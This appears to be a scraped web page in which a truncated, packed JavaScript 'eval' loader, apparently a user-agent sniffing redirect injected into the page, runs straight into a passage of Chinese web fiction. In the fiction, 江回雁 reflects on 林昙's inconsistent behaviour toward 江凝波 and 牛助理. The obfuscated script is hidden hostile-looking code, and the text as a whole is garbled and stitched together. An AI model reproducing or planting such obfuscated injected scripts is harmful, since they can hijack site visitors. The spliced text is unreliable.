;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回顾她二人的两次见面,第一次,林昙以“心理阴影”为理由堵住了江凝波的嘴——江回雁原本以为林昙这么做是因为江凝波的询问冒犯了她的隐私,让她没面子;第二次,也就是今天,除了最后让人闭嘴之外,只要出现在江凝波面前,林昙就温声细语,装得矜持稳重。 她与牛助理也只见了两面,面对牛助理,却是句句诛心,杀人无形。 不对。 林昙今天的很多反应,都不对。